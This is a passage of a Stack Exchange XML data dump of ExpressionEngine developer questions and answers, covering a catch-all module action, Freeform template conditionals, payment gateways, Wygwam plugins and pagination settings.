like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;/?ACT=##&amp;amp;function=do_something_you_dont_do&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Nothing would happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as I build out my site, I could add new actions, sort of, by just adding to that &lt;code&gt;$accepted_functions&lt;/code&gt; array, and using &lt;code&gt;&amp;amp;function=my_new_function&lt;/code&gt; in my URLs...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has worked nicely for me, and I haven't yet developed any modules that are out in the wild for others to use. My question is, is this a bad practice, or are there any reasons this is bad form, or unsecure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2015-09-27T01:05:49.020" Title="Module development: Any reasons creating catch-all action is a bad idea?" Tags="|module|security|bestpractice|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34185" PostTypeId="2" ParentId="34184" CreationDate="2015-09-26T18:05:12.027" Score="3" Body="&lt;p&gt;It's really your choice here. I imagine that this framework is best for smaller addons. One point of access is always slightly frowned upon; because it creates a SPOF in your addon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trust me, I totally get the &lt;em&gt;code-install-test-uninstall-ad.nauseam&lt;/em&gt; development path of EE modules, I'm sick of it too. However, I've found, that paying more careful attention to the stage 1 planning of a larger module usually allows me to get all of my ACTion IDs in order on first install. Of course, the occasional product requires I add one extra because of misstep, but I'm mostly over those days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a security standpoint, not accounting for module architecture, EE is safe. It hasn't ever had a major security vulnerability. I can imagine, since you're taking direct GET strings that literally look like a vulnerability point:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.main-domain.com/index.php?ACT=1&amp;amp;function=HOLY_CRAP_IM_EXECUTING_THIS_FUNCTION&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might get some people trying to exploit you there, but still, as long CSRF protection is running, you should be safe. But still, obfuscation is a good part of security, it deturs many lazy/half-assed people, as well as aids in passing automated security audits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit: expanding edition&lt;/strong&gt; Another issue with not obfuscating this type of GET query is that it allows an attacker to analyze the flow of your addon. For example...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.../index.php?ACT=1&amp;amp;function=start_of_addon_functionality&amp;amp;param1=a&amp;amp;param2=b&#xA;.../index.php?ACT=1&amp;amp;function=middle_of_addon_functionality&amp;amp;param1=a&amp;amp;param2=b&#xA;.../index.php?ACT=1&amp;amp;function=end_of_addon_functionality&amp;amp;param1=a&amp;amp;param2=b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seeing this flow, it's possible for an attacker to try and hit your addon's second or third process function before hitting the first one, creating erroneous data input or straight-up fatal errors. And it can only get worse. Most likely harmless, but it always depends on what your addon actually does. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your usage tends to be more form submittall, then just going with POST over HTTPS (SSL connections encrypt about everything, including headers and post data) would protect you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl:dr; You should be fine, but I wouldn't necessarily go that route. But there are situations where it's might be more appropriate or safe (private, intranet site for employees, etc). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; Might I add that going with your method, you're missing a debug path. You should definitely add something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// after you check if your `function` GET param is actually a function in your function array&#xA;&#xA;$this-&amp;gt;return_data = array (&#xA;    'code'      =&amp;gt; &quot;404&quot;,&#xA;    'message'   =&amp;gt; &quot;Function not found&quot;&#xA;);&#xA;&#xA;ee()-&amp;gt;output-&amp;gt;send_ajax_response($this-&amp;gt;return_data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; One more, just for fun, if you put a module like this out in the wild with that GET setup, just for shits and giggles, see if people try it as an attack vector!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// goes just before my last code block&#xA;ee()-&amp;gt;load-&amp;gt;library('logger');&#xA;&#xA;ee()-&amp;gt;logger-&amp;gt;developer(__METHOD__ . &quot;:&quot; . __LINE__ . &quot;: 404 function call: &quot; . $_SERVER['REMOTE_ADDR'] . &quot; : &quot; . $function);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-09-27T01:05:49.020" LastActivityDate="2015-09-27T01:05:49.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34186" PostTypeId="2" ParentId="33947" CreationDate="2015-09-26T23:39:04.890" Score="0" Body="&lt;p&gt;If you add &lt;code&gt;board=&quot;board_name&quot;&lt;/code&gt; it should pull from the appropriate board. &lt;/p&gt;&#xA;" OwnerUserId="164" LastEditorUserId="3579" LastEditDate="2015-09-27T00:17:08.680" LastActivityDate="2015-09-27T00:17:08.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34187" PostTypeId="1" AcceptedAnswerId="34189" CreationDate="2015-09-27T01:33:41.310" Score="1" ViewCount="72" Body="&lt;p&gt;I want to change the output of the standard file upload field with something similar to &quot;&lt;a href=&quot;http://www.abeautifulsite.net/whipping-file-inputs-into-shape-with-bootstrap-3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Whipping File Inputs Into Shape with Bootstrap 3&lt;/a&gt;&quot;. I am using the following conditional in my Solspace Freeform Pro composer template in an attempt to change the output for file upload field types:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{composer:fields}&#xA;{if composer:field_output}&#xA;                    {if composer:field_type == 'nonfield_captcha'}&#xA;                        {if freeform:captcha}&#xA;                                {freeform:captcha}&amp;lt;br /&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot; size=&quot;20&quot; maxlength=&quot;20&quot; style=&quot;width:140px;&quot; /&amp;gt;&#xA;                        {/if}&#xA;&#xA;                     {if:elseif composer:field_type == 'file'}&#xA;&#xA;                          &amp;lt;span class=&quot;btn btn-default btn-file&quot;&amp;gt;&#xA;                              Browse {composer:field_output}&#xA;                          &amp;lt;/span&amp;gt;&#xA;&#xA;                    {if:else}&#xA;&#xA;                        {composer:field_output}&#xA;&#xA;                    {/if}&#xA;                {/if}&#xA;{/composer:fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The if:elseif field type &quot;file&quot; statement doesn't seem to work in the template and has no effect in the output when the form is rendered:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if:elseif composer:field_type == &quot;file&quot;}&#xA;    &amp;lt;span class=&quot;btn btn-default btn-file&quot;&amp;gt;&#xA;      Browse {composer:field_output}&#xA;    &amp;lt;/span&amp;gt;&#xA;{if:else}&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2Z3vi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Z3vi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check if there is something wrong with my statement, I changed &quot;file&quot; to &quot;text&quot;. The conditional then worked and wrapped all text inputs in the &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; mark-up. So the conditional statement itself appears to work correctly - just not for field_type &quot;file&quot; though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there some special statement/conditional that I'm missing to be able to control the output of field_type = &quot;file&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Version Info:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine: 2.10.1&lt;br&gt;&#xA;Freeform Pro: 4.2.3&lt;/p&gt;&#xA;" OwnerUserId="1158" LastActivityDate="2015-09-27T04:22:18.537" Title="Solspace composer template if field_type = file" Tags="|solspace-freeform|solspace|file-uploads|fieldtype|composer-template|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34188" PostTypeId="2" ParentId="34102" CreationDate="2015-09-27T01:45:54.137" Score="0" Body="&lt;p&gt;Braintree is not a first party payment gateway and I have never used it so I can't say for sure but from a quick look through the gateway files on GitHub I do not see anything that would support how Braintree adds PayPal support from their API guidelines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that you could easily add it if you are are comfortable with PHP or you can use the built in PayPal Express gateway along with the Braintree gateway to allow checkout with either PayPal or Braintree. If you were to go the Store route you would need to use the add &lt;code&gt;{field:payment_method}&lt;/code&gt; to your template to allow the user to select either Braintree or PayPal. Or if you were looking to customize it a bit more you could roll your html something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;How would you like to pay for your order?&#xA;&amp;lt;label&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;payment_method&quot; value=&quot;manual&quot;&amp;gt; Cheque / Bank Deposit&amp;lt;/label&amp;gt;&#xA;&amp;lt;label&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;payment_method&quot; value=&quot;paypal&quot;&amp;gt; Paypal&amp;lt;/label&amp;gt;&#xA;&amp;lt;label&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;payment_method&quot; value=&quot;authorize_net&quot;&amp;gt; Credit Card&amp;lt;/label&amp;gt;&#xA;&#xA;&amp;lt;!-- optionally you could use javascript to display a credit card form here when necessary --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Full documentation for the template tags is &lt;a href=&quot;https://www.exp-resso.com/docs/checkout_tag.html#payment_methods&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and setting up payment methods is &lt;a href=&quot;https://www.exp-resso.com/docs/settings_payment_methods.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-09-27T01:45:54.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34189" PostTypeId="2" ParentId="34187" CreationDate="2015-09-27T04:22:18.537" Score="1" Body="&lt;p&gt;I don't know Composer &lt;strong&gt;at all&lt;/strong&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be comment if it weren't going to be so long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, so let's debug. I'm not sure if this is a production template. If so, holy crap-a-rolla, make a duplicate of the template in question, and set it to only-view-able by Super Admins. Work with that template and leave production alone. If this template is totally in dev-mode, ignore most of this paragraph. The next important part is to set PHP parsing on &lt;code&gt;output&lt;/code&gt; for this template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, let's see what we're getting from &lt;code&gt;{composer:field_type}&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{composer:fields}&#xA;    {if composer:field_output}&#xA;        &amp;lt;?php&#xA;        var_dump('{composer:field_type}');&#xA;        ?&amp;gt;&#xA;    {/if}&#xA;{/composer:fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the outcome of that &lt;code&gt;var_dump()&lt;/code&gt; for the fields that you expect to be &lt;code&gt;{composer:field_type}&lt;/code&gt; as &lt;code&gt;&quot;file&quot;&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've run into many issues where the EE parsing engine ends up outputting a weird value for something like a string like &lt;code&gt;file&lt;/code&gt; ... it sometimes ends up as a a string with (made up example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string(15) &quot;file&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Something seem wrong there &lt;code&gt;:P&lt;/code&gt; ? Are there 15 characters in the string &lt;code&gt;file&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Report back and I'll apply some more sleuthing if I can help.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-27T04:22:18.537" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34190" PostTypeId="1" AcceptedAnswerId="34211" CreationDate="2015-09-27T20:01:13.353" Score="0" ViewCount="46" Body="&lt;p&gt;I did a CSS hack (that Brad recommended) to make the thumbnails in the entry screen larger. I'm wondering if there's a similar hack I can make to make the thumbs in the Tile view larger?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2015-09-28T20:14:27.200" Title="Larger thumbnails in Channel Images Tile view?" Tags="|devdemon|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34191" PostTypeId="1" CreationDate="2015-09-27T20:08:45.857" Score="0" ViewCount="24" Body="&lt;p&gt;I'd like to be able to allow a client to switch the Channel Images channel entry screen from Table to Tile, but I don't want the client to actually have access to the field settings (to keep things simple).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2016-06-07T02:59:29.450" Title="Channel Images: possible way to let client switch from Tile to Table view?" Tags="|devdemon|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34193" PostTypeId="2" ParentId="25678" CreationDate="2015-09-28T03:01:40.407" Score="1" Body="&lt;p&gt;Old question but just implemented this using the latest WYGWAM (v3.3.3)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grab the &lt;a href=&quot;http://ckeditor.com/addon/wordcount&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wordcount plugin&lt;/a&gt; and the &lt;a href=&quot;http://ckeditor.com/addon/notification&quot; rel=&quot;nofollow noreferrer&quot;&gt;Notification Plugin&lt;/a&gt; for CK Editor, and put them into your &lt;code&gt;/themes/third_party/wygwam/lib/ckeditor/plugins&lt;/code&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new WYGWAM editor configuration with the &lt;code&gt;extraPlugins&lt;/code&gt; option selected in 'Advanced Settings'. Enter &lt;code&gt;wordcount&lt;/code&gt; in there and save/update the configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To configure those settings, you'll need to add the following to your &lt;code&gt;/themes/third_party/wygwam/lib/ckeditor/config.js&lt;/code&gt; (inside the `editorConfig' function).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;config.wordcount = {&#xA;&#xA;    // Whether or not you want to show the Paragraphs Count&#xA;    showParagraphs: true,&#xA;&#xA;    // Whether or not you want to show the Word Count&#xA;    showWordCount: true,&#xA;&#xA;    // Whether or not you want to show the Char Count&#xA;    showCharCount: true,&#xA;&#xA;    // Whether or not you want to count Spaces as Chars&#xA;    countSpacesAsChars: false,&#xA;&#xA;    // Whether or not to include Html chars in the Char Count&#xA;    countHTML: false,&#xA;&#xA;    // Maximum allowed Word Count, -1 is default for unlimited&#xA;    maxWordCount: -1,&#xA;&#xA;    // Maximum allowed Char Count, -1 is default for unlimited&#xA;    maxCharCount: -1&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Et Voila.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HSYLc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HSYLc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2015-09-28T03:01:40.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34195" PostTypeId="1" AcceptedAnswerId="34196" CreationDate="2015-09-28T11:42:56.087" Score="0" ViewCount="66" Body="&lt;p&gt;I've recently moved a site to a new sever and I'm getting a strange error message on the forms page.  The site is using EE 2.5.5 and Dev Demon forms 3.1.2.  When I try and submit a form I get the following message: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The form you submitted contained the following errors&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Missing Data.(MISSING_FORM_DATA)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9vU4X.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9vU4X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="984" LastEditorUserId="984" LastEditDate="2015-09-28T13:06:36.133" LastActivityDate="2015-09-28T13:10:04.833" Title="Dev Demon Form - Missing Data.(MISSING_FORM_DATA)" Tags="|devdemon|devdemon-forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34196" PostTypeId="2" ParentId="34195" CreationDate="2015-09-28T13:10:04.833" Score="1" Body="&lt;p&gt;Welp, the second part is clear; something is either old or out-of-date. I just checked a EE 2.5.5 install, and the &lt;code&gt;exp_security_hashes&lt;/code&gt; table definitely doesn't have that column, nor any of those columns, in it's table conformation. In 2.5.5, that table looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Field           - Type &#xA;------------------------------------&#xA;hash_id         - int(10) unsigned  &#xA;date            - int(10) unsigned  &#xA;session_id      - varchar(40)       &#xA;hash            - varchar(40)       &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is that third-party folder? &lt;code&gt;/third-party/forms/&lt;/code&gt;? Is that DevDemon Forms? And did you update anything recently? If it was working before, it still should, but I have noticed some of DevDemon's stuff out of date, but that is usually only a concern if you upgraded EE. I would triple check the settings for that addon, as well as all of your site settings. Make sure you check in your &lt;code&gt;/system/expressionengine/config/config.php&lt;/code&gt; file as well as your &lt;code&gt;index.php&lt;/code&gt; file for any possible &lt;code&gt;$config&lt;/code&gt; overrides that exists somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another big trip up: what's your new environment like? Did you jump a bunch of subversions in PHP?&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-28T13:10:04.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34197" PostTypeId="1" CreationDate="2015-09-28T13:23:31.637" Score="0" ViewCount="39" Body="&lt;p&gt;I have an inconsistent problem with an installation that serves the 404 page &lt;em&gt;sometimes&lt;/em&gt; after the submit button is pressed. This happens on anything including entries to administrative actions. Does anyone know why this could happen?&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2015-09-28T13:23:31.637" Title="Submit goes to 404" Tags="|404|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34198" PostTypeId="1" CreationDate="2015-09-28T14:45:51.520" Score="0" ViewCount="53" Body="&lt;p&gt;I was finally able to update Wygwam to the latest version (3.3.3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One user has contacted me to tell me he only saw gray fields instead of the normal Wygwam fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I told him to empty his brower's cache, which worked. I would like to force to update the cache for Wygwam for all users so they don't have to do a thing. (And don't contact me because they are panicking ;) )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried placing CKEDITOR.timestamp = '1.0'; in config.js, but than I get an error in the console: illegal character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me how to force updating the cache in Wygwam?&lt;/p&gt;&#xA;" OwnerUserId="6205" LastEditorUserId="6205" LastEditDate="2015-09-29T06:12:57.177" LastActivityDate="2016-06-17T19:40:44.873" Title="Force cache update Wygwam / Change timestamp" Tags="|pixelandtonic|wygwam|cache|ckeditor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34201" PostTypeId="1" CreationDate="2015-09-28T15:36:57.880" Score="0" ViewCount="123" Body="&lt;p&gt;I'm getting the error : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Could not upload the file - server returned an unexpected response. Please check the server settings.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I've checked numerous posts already to try and solve it, I've checked double checked and triple checked the permissions. The assets path is seemingly correct as well. So I'm not too sure on what to do next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or guidance is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6702" LastEditorUserId="3579" LastEditDate="2015-09-28T16:10:03.540" LastActivityDate="2015-09-28T16:10:03.540" Title="Cannot upload images to Expression Engine using assets" Tags="|assets|uploads|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34202" PostTypeId="1" AcceptedAnswerId="34249" CreationDate="2015-09-28T15:53:58.747" Score="0" ViewCount="93" Body="&lt;p&gt;I have an issue with submitting on my channel form , the form doesn't work under https but it is ok under http. Its a form to edit user profiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added secure_action=&quot;yes&quot; secure_return=&quot;yes&quot; to the channel form tag but to no avail. Note my form is stashed and its called as an stash embed which my the cause of my issue .&#xA;Also currently I only have https on the user profile editing part of the site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-10-31T19:20:31.070" Title="Channel form not submitting" Tags="|safecracker|ssl|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34203" PostTypeId="1" CreationDate="2015-09-28T16:22:39.377" Score="0" ViewCount="183" Body="&lt;p&gt;I'm trying to get these checkbox fields to match outputs with some other fields I have that have &quot;Yes&quot; and &quot;No&quot; outputs. Any way to change these? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some more details...&#xA;I have a large multipage form that users fill out and submit. After submission it takes the user to a page with a summary of all the information provided in the form. I have some Checkbox fields on the form as well as some Radio buttons. The Radio buttons I can give a value. I have given values of &quot;Yes&quot; and &quot;No&quot;. The checkboxes have built-in values of &quot;y,n&quot;. I would like to be consistent with the values displayed, and would like the &quot;y,n&quot; values of the checkboxes to be &quot;Yes, No&quot; instead. Thanks for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.3&#xA;Freeform Pro 4.2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some template code...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a checkbox...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                {freeform:field:email_invoice} Email invoice instead of sending via USPS?&amp;lt;br /&amp;gt;&#xA;                {if freeform:error:email_invoice}&#xA;                    &amp;lt;span class=&quot;error&quot;&amp;gt;{freeform:error:email_invoice}. Please type &quot;NA&quot; if not applicable.&amp;lt;/span&amp;gt;&#xA;                {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a radio button...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                {freeform:field:controlled_substance wrapper_open=&quot;&quot; wrapper_close=&quot;&quot; row_wrapper_open=&quot;&quot; row_wrapper_close=&quot;&amp;lt;br /&amp;gt;&quot; label_wrapper_open=&quot;&quot; label_wrapper_close=&quot;&quot; }&#xA;                {if freeform:error:controlled_substance}&#xA;                    &amp;lt;span class=&quot;error&quot;&amp;gt;{freeform:error:controlled_substance}&amp;lt;/span&amp;gt;&#xA;                {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When displaying it after submission I'm using this code...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;checkbox...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;    &#xA;                Email invoice?: &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;strong&amp;gt;{freeform:field:email_invoice}&amp;lt;/strong&amp;gt; &#xA;                &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;radio button...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                &amp;lt;tr&amp;gt;&amp;lt;td class=&quot;first&quot;&amp;gt;  &#xA;                Controlled substance?: &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;strong&amp;gt;{freeform:field:controlled_substance}&amp;lt;/strong&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="603" LastEditorUserId="603" LastEditDate="2015-09-29T21:25:39.190" LastActivityDate="2016-06-17T03:28:39.633" Title="Solspace Freeform Pro change default values of checkboxes from &quot;y,n&quot; to &quot;Yes,No&quot;?" Tags="|solspace-freeform|solspace|checkbox|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34204" PostTypeId="2" ParentId="34203" CreationDate="2015-09-28T16:50:02.640" Score="0" Body="&lt;p&gt;Well, it's possible you could just modify this file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/third-party/freeform/default_fields/freeform_ft.checkbox.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that seems like a bad decision, and it wouldn't retroactively fix any already-stored form submissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what state you're at in development, but regardless, a simple fix for this is a dual comparison.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if field_1 == &quot;y&quot; &amp;amp;&amp;amp; field_2 == &quot;Yes&quot;}&#xA;&#xA;    // fields are both set to yet&#xA;&#xA;{if:elseif field_1 == &quot;n&quot; &amp;amp;&amp;amp; field_2 ==&quot;No&quot;}&#xA;&#xA;    // fields are both set to no&#xA;&#xA;{if:else}&#xA;&#xA;    // our fields don't match value intent&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume by match you mean equality comparison in value intent ('y','Y','yes','YES', etc whatever value with the same intent as &quot;yes&quot;). If you could expand on what you're trying to do, I can better help you.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-28T16:50:02.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34205" PostTypeId="1" AcceptedAnswerId="34206" CreationDate="2015-09-28T17:18:32.717" Score="0" ViewCount="47" Body="&lt;p&gt;Specifically, when a member is logged into their front-end profile templates, and you're viewing the messages in the inbox-folder. The pagination displays only 5 entries per page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried modifying some parameters in both of the following files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;system/codeigniter/system/libraries/Pagination.php&lt;/li&gt;&#xA;&lt;li&gt;system/expressionengine/libraries/EE_Pagination.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But nothing seems to modify the results in any way. I also wouldn't mind just disabling the pagination altogether, since I use a fancy plugin for it anyways (mix_it_up). &lt;/p&gt;&#xA;" OwnerUserId="2739" LastActivityDate="2015-09-28T17:40:17.463" Title="Trying to modify default pagination settings within public profile templates" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34206" PostTypeId="2" ParentId="34205" CreationDate="2015-09-28T17:40:17.463" Score="0" Body="&lt;p&gt;To win, you must smell the prey, feel the kill...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really, though, you need to trace backwards through the internals of EE to actually find the core code you need to modify. In &lt;code&gt;/system/expressionengine/libraries/Messages.php:87&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $per_page           = 5;                // Messages on a Folder's Page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I never recommend modifying core code. But I'm not sure you have much other choice. If I were you, I'd throw together a quick extension, and &lt;code&gt;var_dump($this); die();&lt;/code&gt; on this hook and see if you can just modify that value without modifying core code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/member/index.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/member/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It really depends on your laziness factor for this task.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-28T17:40:17.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
